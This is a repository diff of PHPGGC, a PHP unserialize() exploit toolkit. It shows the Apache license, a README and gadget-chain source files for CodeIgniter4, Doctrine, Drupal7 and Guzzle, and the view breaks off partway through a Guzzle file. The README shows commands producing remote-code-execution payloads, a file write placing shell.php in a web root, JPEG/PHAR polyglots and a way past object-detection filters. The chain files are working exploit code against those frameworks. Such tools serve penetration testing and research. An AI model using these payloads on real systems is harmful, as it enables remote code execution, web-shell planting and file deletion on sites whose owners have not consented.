Codebase list phpggc / 16028c9
New upstream version 0.20191206 Joseph O'Gorman 4 years ago
109 changed file(s) with 5486 addition(s) and 0 deletion(s). Raw diff Collapse all Expand all
0
1 Apache License
2 Version 2.0, January 2004
3 http://www.apache.org/licenses/
4
5 TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6
7 1. Definitions.
8
9 "License" shall mean the terms and conditions for use, reproduction,
10 and distribution as defined by Sections 1 through 9 of this document.
11
12 "Licensor" shall mean the copyright owner or entity authorized by
13 the copyright owner that is granting the License.
14
15 "Legal Entity" shall mean the union of the acting entity and all
16 other entities that control, are controlled by, or are under common
17 control with that entity. For the purposes of this definition,
18 "control" means (i) the power, direct or indirect, to cause the
19 direction or management of such entity, whether by contract or
20 otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 outstanding shares, or (iii) beneficial ownership of such entity.
22
23 "You" (or "Your") shall mean an individual or Legal Entity
24 exercising permissions granted by this License.
25
26 "Source" form shall mean the preferred form for making modifications,
27 including but not limited to software source code, documentation
28 source, and configuration files.
29
30 "Object" form shall mean any form resulting from mechanical
31 transformation or translation of a Source form, including but
32 not limited to compiled object code, generated documentation,
33 and conversions to other media types.
34
35 "Work" shall mean the work of authorship, whether in Source or
36 Object form, made available under the License, as indicated by a
37 copyright notice that is included in or attached to the work
38 (an example is provided in the Appendix below).
39
40 "Derivative Works" shall mean any work, whether in Source or Object
41 form, that is based on (or derived from) the Work and for which the
42 editorial revisions, annotations, elaborations, or other modifications
43 represent, as a whole, an original work of authorship. For the purposes
44 of this License, Derivative Works shall not include works that remain
45 separable from, or merely link (or bind by name) to the interfaces of,
46 the Work and Derivative Works thereof.
47
48 "Contribution" shall mean any work of authorship, including
49 the original version of the Work and any modifications or additions
50 to that Work or Derivative Works thereof, that is intentionally
51 submitted to Licensor for inclusion in the Work by the copyright owner
52 or by an individual or Legal Entity authorized to submit on behalf of
53 the copyright owner. For the purposes of this definition, "submitted"
54 means any form of electronic, verbal, or written communication sent
55 to the Licensor or its representatives, including but not limited to
56 communication on electronic mailing lists, source code control systems,
57 and issue tracking systems that are managed by, or on behalf of, the
58 Licensor for the purpose of discussing and improving the Work, but
59 excluding communication that is conspicuously marked or otherwise
60 designated in writing by the copyright owner as "Not a Contribution."
61
62 "Contributor" shall mean Licensor and any individual or Legal Entity
63 on behalf of whom a Contribution has been received by Licensor and
64 subsequently incorporated within the Work.
65
66 2. Grant of Copyright License. Subject to the terms and conditions of
67 this License, each Contributor hereby grants to You a perpetual,
68 worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 copyright license to reproduce, prepare Derivative Works of,
70 publicly display, publicly perform, sublicense, and distribute the
71 Work and such Derivative Works in Source or Object form.
72
73 3. Grant of Patent License. Subject to the terms and conditions of
74 this License, each Contributor hereby grants to You a perpetual,
75 worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 (except as stated in this section) patent license to make, have made,
77 use, offer to sell, sell, import, and otherwise transfer the Work,
78 where such license applies only to those patent claims licensable
79 by such Contributor that are necessarily infringed by their
80 Contribution(s) alone or by combination of their Contribution(s)
81 with the Work to which such Contribution(s) was submitted. If You
82 institute patent litigation against any entity (including a
83 cross-claim or counterclaim in a lawsuit) alleging that the Work
84 or a Contribution incorporated within the Work constitutes direct
85 or contributory patent infringement, then any patent licenses
86 granted to You under this License for that Work shall terminate
87 as of the date such litigation is filed.
88
89 4. Redistribution. You may reproduce and distribute copies of the
90 Work or Derivative Works thereof in any medium, with or without
91 modifications, and in Source or Object form, provided that You
92 meet the following conditions:
93
94 (a) You must give any other recipients of the Work or
95 Derivative Works a copy of this License; and
96
97 (b) You must cause any modified files to carry prominent notices
98 stating that You changed the files; and
99
100 (c) You must retain, in the Source form of any Derivative Works
101 that You distribute, all copyright, patent, trademark, and
102 attribution notices from the Source form of the Work,
103 excluding those notices that do not pertain to any part of
104 the Derivative Works; and
105
106 (d) If the Work includes a "NOTICE" text file as part of its
107 distribution, then any Derivative Works that You distribute must
108 include a readable copy of the attribution notices contained
109 within such NOTICE file, excluding those notices that do not
110 pertain to any part of the Derivative Works, in at least one
111 of the following places: within a NOTICE text file distributed
112 as part of the Derivative Works; within the Source form or
113 documentation, if provided along with the Derivative Works; or,
114 within a display generated by the Derivative Works, if and
115 wherever such third-party notices normally appear. The contents
116 of the NOTICE file are for informational purposes only and
117 do not modify the License. You may add Your own attribution
118 notices within Derivative Works that You distribute, alongside
119 or as an addendum to the NOTICE text from the Work, provided
120 that such additional attribution notices cannot be construed
121 as modifying the License.
122
123 You may add Your own copyright statement to Your modifications and
124 may provide additional or different license terms and conditions
125 for use, reproduction, or distribution of Your modifications, or
126 for any such Derivative Works as a whole, provided Your use,
127 reproduction, and distribution of the Work otherwise complies with
128 the conditions stated in this License.
129
130 5. Submission of Contributions. Unless You explicitly state otherwise,
131 any Contribution intentionally submitted for inclusion in the Work
132 by You to the Licensor shall be under the terms and conditions of
133 this License, without any additional terms or conditions.
134 Notwithstanding the above, nothing herein shall supersede or modify
135 the terms of any separate license agreement you may have executed
136 with Licensor regarding such Contributions.
137
138 6. Trademarks. This License does not grant permission to use the trade
139 names, trademarks, service marks, or product names of the Licensor,
140 except as required for reasonable and customary use in describing the
141 origin of the Work and reproducing the content of the NOTICE file.
142
143 7. Disclaimer of Warranty. Unless required by applicable law or
144 agreed to in writing, Licensor provides the Work (and each
145 Contributor provides its Contributions) on an "AS IS" BASIS,
146 WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 implied, including, without limitation, any warranties or conditions
148 of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 PARTICULAR PURPOSE. You are solely responsible for determining the
150 appropriateness of using or redistributing the Work and assume any
151 risks associated with Your exercise of permissions under this License.
152
153 8. Limitation of Liability. In no event and under no legal theory,
154 whether in tort (including negligence), contract, or otherwise,
155 unless required by applicable law (such as deliberate and grossly
156 negligent acts) or agreed to in writing, shall any Contributor be
157 liable to You for damages, including any direct, indirect, special,
158 incidental, or consequential damages of any character arising as a
159 result of this License or out of the use or inability to use the
160 Work (including but not limited to damages for loss of goodwill,
161 work stoppage, computer failure or malfunction, or any and all
162 other commercial damages or losses), even if such Contributor
163 has been advised of the possibility of such damages.
164
165 9. Accepting Warranty or Additional Liability. While redistributing
166 the Work or Derivative Works thereof, You may choose to offer,
167 and charge a fee for, acceptance of support, warranty, indemnity,
168 or other liability obligations and/or rights consistent with this
169 License. However, in accepting such obligations, You may act only
170 on Your own behalf and on Your sole responsibility, not on behalf
171 of any other Contributor, and only if You agree to indemnify,
172 defend, and hold each Contributor harmless for any liability
173 incurred by, or claims asserted against, such Contributor by reason
174 of your accepting any such warranty or additional liability.
175
176 END OF TERMS AND CONDITIONS
177
178 APPENDIX: How to apply the Apache License to your work.
179
180 To apply the Apache License to your work, attach the following
181 boilerplate notice, with the fields enclosed by brackets "[]"
182 replaced with your own identifying information. (Don't include
183 the brackets!) The text should be enclosed in the appropriate
184 comment syntax for the file format. We also recommend that a
185 file or class name and description of purpose be included on the
186 same "printed page" as the copyright notice for easier
187 identification within third-party archives.
188
189 Copyright [yyyy] [name of copyright owner]
190
191 Licensed under the Apache License, Version 2.0 (the "License");
192 you may not use this file except in compliance with the License.
193 You may obtain a copy of the License at
194
195 http://www.apache.org/licenses/LICENSE-2.0
196
197 Unless required by applicable law or agreed to in writing, software
198 distributed under the License is distributed on an "AS IS" BASIS,
199 WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 See the License for the specific language governing permissions and
201 limitations under the License.
0 # PHPGGC: PHP Generic Gadget Chains
1
2 *PHPGGC is a library of unserialize() payloads along with a tool to generate them, from command line or programmatically*.
3 When encountering an unserialize on a website you don't have the code of, or simply when trying to build an exploit, this tool allows you to generate the payload without having to go through the tedious steps of finding gadgets and combining them. It can be seen as the equivalent of [frohoff's ysoserial](https://github.com/frohoff/ysoserial), but for PHP.
4 Currently, the tool supports: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii and ZendFramework.
5
6
7 ## Requirements
8
9 PHP >= 5.6 is required to run PHPGGC.
10
11
12 ## Usage
13
14 Run `./phpggc -l` to obtain a list of gadget chains:
15
16 ```
17 $ ./phpggc -l
18
19 Gadget Chains
20 -------------
21
22 NAME VERSION TYPE VECTOR I
23 CodeIgniter4/RCE1 4.0.0-beta.1 <= ? rce __destruct
24 Doctrine/FW1 ? file_write __toString *
25 Drupal7/FD1 7.0 < ? file_delete __destruct *
26 Drupal7/RCE1 7.0.8 < ? rce __destruct *
27 Guzzle/FW1 6.0.0 <= 6.3.3+ file_write __destruct
28 Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct *
29 Guzzle/RCE1 6.0.0 <= 6.3.2 rce __destruct *
30 Laravel/RCE1 5.4.27 rce __destruct
31 Laravel/RCE2 5.5.39 rce __destruct
32 Laravel/RCE3 5.5.39 rce __destruct *
33 Laravel/RCE4 5.5.39 rce __destruct
34 Laravel/RCE5 5.8.30 rce __destruct *
35 Laravel/RCE6 5.5.* rce __destruct *
36 Magento/FW1 ? <= 1.9.4.0 file_write __destruct *
37 Magento/SQLI1 ? <= 1.9.4.0 sql_injection __destruct
38 Monolog/RCE1 1.18 <= 1.23 rce __destruct
39 Monolog/RCE2 1.5 <= 1.17 rce __destruct
40 Phalcon/RCE1 <= 1.2.2 rce __wakeup *
41 Pydio/Guzzle/RCE1 < 8.2.2 rce __toString
42 Slim/RCE1 3.8.1 rce __toString
43 SwiftMailer/FD1 -5.4.12+, -6.2.1+ file_delete __destruct
44 SwiftMailer/FW1 5.1.0 <= 5.4.8 file_write __toString
45 SwiftMailer/FW2 6.0.0 <= 6.0.1 file_write __toString
46 SwiftMailer/FW3 5.0.1 file_write __toString
47 SwiftMailer/FW4 4.0.0 <= ? file_write __destruct
48 Symfony/FW1 2.5.2 file_write DebugImport *
49 Symfony/FW2 3.4 file_write __destruct
50 Symfony/RCE1 3.3 rce __destruct *
51 Symfony/RCE2 2.3.42 < 2.6 rce __destruct *
52 Symfony/RCE3 2.6 <= 2.8.32 rce __destruct *
53 Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 rce __destruct *
54 ThinkPHP/RCE1 5.1.x-5.2.x rce __destruct *
55 WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ rce __toString *
56 WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ rce __destruct *
57 WordPress/P/WooCommerce/RCE1 3.4.0 <= 3.6.2+ rce __destruct *
58 WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 rce __destruct *
59 Yii/RCE1 1.1.20 rce __wakeup *
60 ZendFramework/FD1 ? <= 1.12.20 file_delete __destruct
61 ZendFramework/RCE1 ? <= 1.12.20 rce __destruct *
62 ZendFramework/RCE2 1.11.12 <= 1.12.20 rce __toString *
63 ZendFramework/RCE3 2.0.1 <= ? rce __destruct
64
65 ```
66
67 Every gadget chain has:
68
69 - Name: Name of the framework/library
70 - Version: Version of the framework/library for which gadgets are for
71 - Type: Type of exploitation: RCE, File Write, File Read, Include...
72 - Vector: the vector to trigger the chain after the unserialize (`__destruct()`, `__toString()`, `offsetGet()`, ...)
73 - Informations: Other informations about the chain
74
75 Use `-i` to get detailed information about a chain:
76
77 ```
78 $ ./phpggc -i symfony/rce1
79 Name : Symfony/RCE1
80 Version : 3.3
81 Type : rce
82 Vector : __destruct
83 Informations :
84 Exec through proc_open()
85
86 ./phpggc Symfony/RCE1 <command>
87 ```
88
89 Once you have selected a chain, run `./phpggc <gadget-chain> [parameters]` to obtain the payload.
90 For instance, to obtain a payload for Monolog, you'd do:
91
92 ```
93 $ ./phpggc monolog/rce1 assert 'phpinfo()'
94 O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
95 ```
96
97 For a file write using SwiftMailer, you'd do:
98
99 ```
100 $ echo 'It works !' > /tmp/data
101 $ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
102 O:13:"Swift_Message":8:{...}
103 ```
104
105
106 ## Wrapper
107
108 The `--wrapper` (`-w`) option allows you to define a PHP file containing the following functions:
109
110 - `process_parameters($parameters)`: Called right **before** `generate()`, allows to change parameters
111 - `process_object($object)`: Called right **before** `serialize()`, allows to change the object
112 - `process_serialized($serialized)`: Called right **after** `serialize()`, allows to change the serialized string
113
114 For instance, if the vulnerable code looks like this:
115
116 ```php
117 <?php
118 $data = unserialize($_GET['data']);
119 print $data['message'];
120 ```
121
122 You could use a `__toString()` chain, wrapping it like so:
123
124 ```php
125 <?php
126 # /tmp/my_wrapper.php
127 function process_object($object)
128 {
129 return array(
130 'message' => $object
131 );
132 }
133 ```
134
135 And you'd call phpggc like so:
136
137 ```
138 $ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
139 a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}
140 ```
141
142 ## PHAR(GGC)
143
144 ### History
145
146 At BlackHat US 2018, @s_n_t released PHARGGC, a fork of PHPGGC which instead of building a serialized payload, builds a whole PHAR file. This PHAR file contains serialized data and as such can be used for various exploitation techniques (`file_exists`, `fopen`, etc.). The paper is [here](https://cdn2.hubspot.net/hubfs/3853213/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-....pdf).
147
148 ### Implementation
149
150 PHAR archives come in three different formats: **PHAR, TAR, and ZIP**. The three of them are supported by PHPGGC.
151 Polyglot files can be generated using `--phar-jpeg` (`-pj`). Other options are available (use `-h`).
152
153 ### Examples
154
155 ```
156 $ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
157 $ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
158 $ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
159 $ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
160 $ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
161 $ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id
162 ```
163
164
165 ## Encoders
166
167 Arguments allow to modify the way the payload is output. For instance, `-u` will URL encode it, and `-b` will convert it to base64.
168 **Payloads often contain NULL bytes and cannot be copy/pasted as-is**. Use `-s` for a soft URL encode, which keeps the payload readable.
169
170 The encoders can be chained, and as such **the order is important**. For instance, `./phpggc -b -u -u slim/rce1 system id` will base64 the payload, then URLencode it twice.
171
172
173 ## Advanced: Enhancements
174
175 ### Fast destruct
176
177 PHPGGC implements a `--fast-destruct` (`-f`) flag, that will make sure your serialized object will be destroyed right after the `unserialize()` call, and not at the end of the script. **I'd recommend using it for every `__destruct` vector**, as it improves reliability. For instance, if PHP script raises an exception after the call, the `__destruct` method of your object might not be called. As it is processed at the same time as encoders, it needs to be set first.
178
179 ```
180 $ ./phpggc -f -s slim/rce1 system id
181 a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"...
182 ```
183
184 ### ASCII Strings
185
186 Uses the `S` serialization format instead of the standard `s`. This replaces every non-ASCII value to an hexadecimal representation:
187 `s:5:"A<null_byte>B<cr><lf>";̀` -> `S:5:"A\00B\09\0D";`
188 This can be useful when for some reason non-ascii characters are not allowed (NULL BYTE for instance). Since payloads generally contain them, this makes sure that the payload consists only of ASCII values.
189 *Note: this is experimental and it might not work in some cases.*
190
191 ### Plus Numbers
192
193 Sometimes, PHP scripts verify that the given serialized payload does not contain objects by using a regex such as `/O:[0-9]+:`. This is easily bypassed using `O:+123:...` instead of `O:123:`. One can use `--plus-numbers <types>`, or `-n <types>`, to automatically add these `+` signs in front of symbols.
194 For instance, to obfuscate objects and strings, one can use: `--n Os`. Please note that since PHP 7.2, only i and d (float) types can have a +.
195
196
197 # API
198
199 Instead of using PHPGGC as a command line tool, you can program PHP scripts:
200
201 ```php
202 <?php
203
204 # Include PHPGGC
205 include("phpggc/lib/PHPGGC.php");
206
207 # Include guzzle/rce1
208 $gc = new \GadgetChain\Guzzle\RCE1();
209
210 # Always process parameters unless you're doing something out of the ordinary
211 $parameters = $gc->process_parameters([
212 'function' => 'system',
213 'parameter' => 'id',
214 ]);
215
216 # Generate the payload
217 $object = $gc->generate($parameters);
218
219 # Most (if not all) GC's do not use process_object and process_serialized, so
220 # for quick & dirty code you can omit those two
221 $object = $gc->process_object($object);
222
223 # Serialize the payload
224 $serialized = serialize($object);
225 $serialized = $gc->process_serialized($serialized);
226
227 # Display it
228 print($serialized . "\n");
229
230 # Create a PHAR file from this payload
231 $phar = new \PHPGGC\Phar\Tar($serialized);
232 file_put_contents('output.phar.tar', $phar->generate());
233 ```
234
235 This allows you to tweak the parameters or write exploits more easily.
236 *Note: This is pretty experimental at the moment, so please, report bugs*.
237
238
239 # Contributing
240
241 Pull requests are more than welcome. Please follow these simple guidelines:
242
243 - `__destruct()` is always the best vector
244 - Specify at least the version of the library you've built the payload on
245 - Refrain from using references unless it is necessary or drastically reduces the size of the payload. If the payload is modified by hand afterwards, this might cause problems.
246 - Do not include unused parameters in the gadget definition if they keep their default values. It just makes the payload bigger.
247
248 Codewise, the directory structure is fairly straightforward: gadgets in _gadgets.php_, description + logic in _chain.php_.
249 You can define pre- and post- processing methods, if parameters need to be modified.
250 Hopefully, the already implemented gadgets should be enough for you to build yours.
251 Otherwise, I'd be glad to answer your questions.
252
253 The `--new <framework> <type>` command-line option can be used to create the directory and file structure for a new gadget chain.
254 For instance, use `./phpggc -n Drupal RCE` would create a new Drupal RCE gadgetchain.
255
256
257 # License
258
259 [Apache License 2.0](LICENSE)
0 <?php
1
2 namespace GadgetChain\CodeIgniter4;
3
4 class RCE1 extends \PHPGGC\GadgetChain\RCE
5 {
6 public static $version = '4.0.0-beta.1 <= ?';
7 public static $vector = '__destruct';
8 public static $author = 'eboda';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15 return new \CodeIgniter\Cache\Handlers\RedisHandler($function, $parameter);
16 }
17 }
0 <?php
1 namespace CodeIgniter\Cache\Handlers {
2 class RedisHandler {
3 protected $redis;
4
5 public function __construct($func, $param) {
6 $this->redis = new \CodeIgniter\Session\Handlers\MemcachedHandler(
7 new \CodeIgniter\Model(
8 new \CodeIgniter\Database\BaseBuilder,
9 new \CodeIgniter\Validation\Validation,
10 $func
11 ),
12 $param
13 );
14 }
15 }
16 }
17
18 namespace CodeIgniter\Session\Handlers {
19 class MemcachedHandler {
20 protected $memcached;
21 protected $lockKey;
22
23 public function __construct($memcached, $param) {
24 $this->lockKey = $param;
25 $this->memcached = $memcached;
26 }
27 }
28 }
29
30 namespace CodeIgniter {
31 class Model {
32 protected $builder;
33 protected $primaryKey;
34 protected $beforeDelete;
35 protected $validationRules;
36 protected $validation;
37
38 public function __construct($builder, $validation, $func) {
39 $this->builder = $builder;
40 $this->primaryKey = null;
41
42 $this->beforeDelete = array();
43 $this->beforeDelete[] = "validate";
44
45 $this->validation = $validation;
46 $this->validationRules = array(
47 "id" => array(
48 "rules" => array($func)
49 )
50 );
51 }
52 }
53 }
54
55 namespace CodeIgniter\Validation {
56 class Validation {
57 protected $ruleSetFiles;
58
59 public function __construct() {
60 $this->ruleSetFiles = array("finfo");
61 }
62 }
63 }
64
65 namespace CodeIgniter\Database {
66 class BaseBuilder {
67 }
68 }
69
70
0 <?php
1
2 namespace GadgetChain\Doctrine;
3
4 use \Doctrine\ORM\EntityManager;
5 use \Doctrine\ORM\Configuration;
6 use \Doctrine\ORM\Mapping\ClassMetadataFactory;
7 use \Doctrine\ORM\Query\ResultSetMappingBuilder;
8 use \Doctrine\Common\Cache\FilesystemCache;
9 use \Doctrine\Common\Annotations\CachedReader;
10 use \Doctrine\ORM\Mapping\Driver\AnnotationDriver;
11
12
13 class FW1 extends \PHPGGC\GadgetChain\FileWrite
14 {
15 public static $version = '?';
16 public static $vector = '__toString';
17 public static $author = 'cf';
18 public static $informations = '
19 We do not have full control of the path. If you enter
20 /var/www/toto/shell.php as the remote_path, it will be converted to
21 /var/www/toto/e3/5b737464436c61737324434c4153534d455441444154415d5b315d.php.
22 Only the extension and base path are kept.
23 ';
24
25 public function process_parameters(array $parameters)
26 {
27 $parameters = parent::process_parameters($parameters);
28 # Sadly we cannot control the full path
29 # We only have control over the base directory, and the extension
30 $path = $parameters['remote_path'];
31 $infos = (object) pathinfo($path);
32
33 if(isset($infos->extension))
34 $parameters['extension'] = '.' . $infos->extension;
35 else
36 $parameters['extension'] = '';
37
38 $parameters['directory'] = $infos->dirname;
39 $parameters['path'] = $infos->dirname . '/e3/5b737464436c61737324434c4153534d455441444154415d5b315d' . $parameters['extension'];
40 return $parameters;
41 }
42
43 public function generate(array $parameters)
44 {
45 $c = new Configuration([
46
47 ]);
48 $table = (object) [
49 'name' => $parameters['data'],
50 'schema' => '',
51 'indexes' => null,
52 'uniqueConstraints' => null,
53 'options' => null
54 ];
55 $em0 = new EntityManager(null, $c);
56 $d0 = new AnnotationDriver(new CachedReader([
57 'stdClass' =>
58 [
59 'Doctrine\ORM\Mapping\Embeddable' => true,
60 'Doctrine\ORM\Mapping\Table' => $table
61 ]
62 ]));
63 $fc = new FilesystemCache($parameters['directory'], $parameters['extension']);
64 $mf = new ClassMetadataFactory($fc, $em0, $d0);
65 $em = new EntityManager($mf, null);
66 $writer = new ResultSetMappingBuilder($em);
67
68 return $writer;
69 }
70 }
0 <?php
1 namespace Doctrine\ORM\Mapping\Driver
2 {
3 use Doctrine\Common\Persistence\Mapping\Driver\AnnotationDriver as AbstractAnnotationDriver;
4
5 class AnnotationDriver extends AbstractAnnotationDriver
6 {
7
8 }
9 }
10
11 namespace Doctrine\Common\Persistence\Mapping\Driver
12 {
13 class AnnotationDriver
14 {
15 protected $reader;
16 protected $paths = [];
17 protected $excludePaths = [];
18 protected $fileExtension = '.php';
19 protected $classNames;
20 protected $entityAnnotationClasses = [];
21
22 function __construct($reader)
23 {
24 $this->reader = $reader;
25 }
26 }
27 }
28
29 namespace Doctrine\Common\Annotations
30 {
31 final class CachedReader
32 {
33 private $loadedAnnotations;
34
35 function __construct($loadedAnnotations)
36 {
37 $this->loadedAnnotations = $loadedAnnotations;
38 }
39 }
40 }
41
42 namespace Doctrine\ORM\Query
43 {
44 class ResultSetMapping
45 {
46 public $declaringClasses = array();
47 public $columnOwnerMap = array();
48 public $fieldMappings = array();
49
50 }
51
52 # $class = $this->em->getClassMetadata($this->declaringClasses[$columnName]);
53 # $sql .= $class->fieldMappings[$this->fieldMappings[$columnName]]['columnName'];
54 class ResultSetMappingBuilder extends ResultSetMapping
55 {
56 private $em;
57
58 function __construct($em)
59 {
60 $columnName = 'X';
61 $this->columnOwnerMap[$columnName] = null;
62 $this->fieldMappings[$columnName] = 0;
63 $this->declaringClasses[$columnName] = 'stdClass';
64 $this->em = $em;
65 }
66 }
67 }
68
69 namespace Doctrine\ORM
70 {
71 class EntityManager
72 {
73 private $config;
74 private $metadataFactory;
75 private $closed = false;
76
77 function __construct($metadataFactory, $config)
78 {
79 $this->metadataFactory = $metadataFactory;
80 $this->config = $config;
81 }
82 }
83
84 class Configuration extends \Doctrine\DBAL\Configuration
85 {
86
87 }
88 }
89
90 namespace Doctrine\DBAL
91 {
92 class Configuration
93 {
94 protected $_attributes = array();
95
96 function __construct($_attributes)
97 {
98 $this->_attributes = $_attributes;
99 }
100 }
101 }
102
103 namespace Doctrine\Common\Persistence\Mapping
104 {
105 abstract class AbstractClassMetadataFactory
106 {
107 protected $cacheSalt = '$CLASSMETADATA';
108 private $cacheDriver;
109 protected $initialized = true;
110
111 function __construct($cacheDriver)
112 {
113 $this->cacheDriver = $cacheDriver;
114 }
115 }
116 }
117
118 namespace Doctrine\ORM\Mapping
119 {
120 use \Doctrine\Common\Persistence\Mapping\AbstractClassMetadataFactory;
121 use \Doctrine\Common\EventManager;
122
123 class ClassMetadataFactory extends AbstractClassMetadataFactory
124 {
125 private $em;
126 private $driver;
127 private $evm;
128
129 function __construct($cacheDriver, $em, $driver)
130 {
131 parent::__construct($cacheDriver);
132 $this->em = $em;
133 $this->driver = $driver;
134 $this->evm = new EventManager();
135 }
136 }
137 }
138
139 namespace Doctrine\Common\Persistence\Mapping\Driver
140 {
141 class DefaultFileLocator
142 {
143 protected $paths = [''];
144 protected $fileExtension;
145 }
146 }
147
148 namespace Doctrine\Common\Persistence\Mapping\Driver
149 {
150 abstract class FileDriver
151 {
152 protected $locator;
153 protected $classCache;
154 protected $globalBasename;
155 }
156
157 class PHPDriver extends FileDriver
158 {
159 protected $metadata;
160 }
161 }
162
163 namespace Doctrine\Common\Cache
164 {
165 abstract class CacheProvider
166 {
167 private $namespace = '';
168 private $namespaceVersion;
169 }
170
171 abstract class FileCache extends CacheProvider
172 {
173 protected $directory;
174 private $extension;
175 private $umask = ~0777;
176 private $directoryStringLength;
177 private $extensionStringLength;
178 private $isRunningOnWindows;
179
180 function __construct($directory, $extension)
181 {
182 $this->directory = $directory;
183 $this->directoryStringLength = strlen($directory);
184 $this->extension = $extension;
185 $this->extensionStringLength = strlen($extension);
186 }
187 }
188
189 class FilesystemCache extends FileCache
190 {
191 }
192 }
193
194
195 namespace Doctrine\Common
196 {
197 class EventManager
198 {
199 private $_listeners = [];
200 }
201 }
0 <?php
1
2 namespace GadgetChain\Drupal7;
3
4 class FD1 extends \PHPGGC\GadgetChain\FileDelete
5 {
6 public static $version = '7.0 < ?';
7 public static $vector = '__destruct';
8 public static $author = 'rreiss';
9 public static $informations = '
10 Note that some files may not be removed (depends on permissions)
11 ';
12
13 public function generate(array $parameters)
14 {
15 return new \Archive_Tar($parameters['remote_file']);
16 }
17 }
0 <?php
1
2 class Archive_Tar
3 {
4 public $_temp_tarname;
5
6 public function __construct($_temp_tarname) {
7 $this->_temp_tarname = $_temp_tarname;
8 }
9
10 }
0 <?php
1
2 namespace GadgetChain\Drupal7;
3
4 class RCE1 extends \PHPGGC\GadgetChain\RCE
5 {
6 public static $version = '7.0.8 < ?';
7 public static $vector = '__destruct';
8 public static $author = 'Blaklis';
9 public static $informations = 'You will need to post form_build_id=DrupalRCE to /?q=system/ajax once the payload is unserialized';
10
11 public function generate(array $parameters)
12 {
13 $function = $parameters['function'];
14 $parameter = $parameters['parameter'];
15
16 return new \SchemaCache($function,$parameter);
17 }
18 }
0 <?php
1
2 class SchemaCache {
3 protected $cid = 'form_DrupalRCE';
4 protected $bin = 'cache_form';
5 protected $keysToPersist = ['#form_id'=>true, '#process'=>true, '#attached'=>true];
6 protected $storage = ['#form_id'=>'DrupalRCE','#process'=>['drupal_process_attached'], '#attached'=>[]];
7
8 public function __construct($function,$parameter) {
9 $this->storage['#attached']+=[$function=>[[$parameter]]];
10 }
11 }
0 <?php
1
2 namespace GadgetChain\Guzzle;
3
4 class FW1 extends \PHPGGC\GadgetChain\FileWrite
5 {
6 public static $version = '6.0.0 <= 6.3.3+';
7 public static $vector = '__destruct';
8 public static $author = 'cf';
9
10 public function generate(array $parameters)
11 {
12 $path = $parameters['remote_path'];
13 $data = $parameters['data'];
14
15 return new \GuzzleHttp\Cookie\FileCookieJar($path, $data);
16 }
17 }
0 <?php
1
2 namespace GuzzleHttp\Cookie
3 {
4 class SetCookie
5 {
6 private $data;
7
8 public function __construct($data)
9 {
10 $this->data = [
11 'Expires' => 1,
12 'Discard' => false,
13 'Value' => $data
14 ];
15 }
16 }
17
18 class CookieJar
19 {
20 private $cookies = [];
21 private $strictMode;
22
23 public function __construct($data)
24 {
25 $this->cookies = [new SetCookie($data)];
26 }
27 }
28
29 class FileCookieJar extends CookieJar
30 {
31 private $filename;
32 private $storeSessionCookies = true;
33
34 public function __construct($filename, $data)
35 {
36 parent::__construct($data);
37 $this->filename = $filename;
38 }
39 }
40 }
0 <?php
1
2 namespace GadgetChain\Guzzle;
3
4 class INFO1 extends \PHPGGC\GadgetChain\PHPInfo
5 {
6 public static $version = '6.0.0 <= 6.3.2';
7 public static $vector = '__destruct';
8 public static $author = 'erwan_lr';
9 public static $informations = '
10 This chain requires GuzzleHttp\Psr7 < 1.5.0, because FnStream cannot be
11 deserialized afterwards.
12 See https://github.com/ambionics/phpggc/issues/34
13 ';
14
15 public function generate(array $parameters)
16 {
17 return new \GuzzleHttp\Psr7\FnStream();
18 }
19 }
0 <?php
1
2 namespace GuzzleHttp\Psr7
3 {
4 class FnStream
5 {
6 public $_fn_close = 'phpinfo';
7
8 /*
9 public function __destruct()
10 {
11 if (isset($this->_fn_close)) {
12 call_user_func($this->_fn_close);
13 }
14 }
15
16 public function close()
17 {
18 return call_user_func($this->_fn_close);
19 }
20 */
21 }
22 }
0 <?php
1
2 namespace GadgetChain\Guzzle;
3
4 class RCE1 extends \PHPGGC\GadgetChain\RCE
5 {
6 public static $version = '6.0.0 <= 6.3.2';
7 public static $vector = '__destruct';
8 public static $author = 'proclnas';
9 public static $informations = '
10 This chain requires GuzzleHttp\Psr7 < 1.5.0, because FnStream cannot be
11 deserialized afterwards.
12 See https://github.com/ambionics/phpggc/issues/34
13 ';
14
15
16 public function generate(array $parameters)
17 {
18 $function = $parameters['function'];
19 $parameter = $parameters['parameter'];
20
21 return new \GuzzleHttp\Psr7\FnStream([
22 'close' => [
23 new \GuzzleHttp\HandlerStack($function, $parameter),
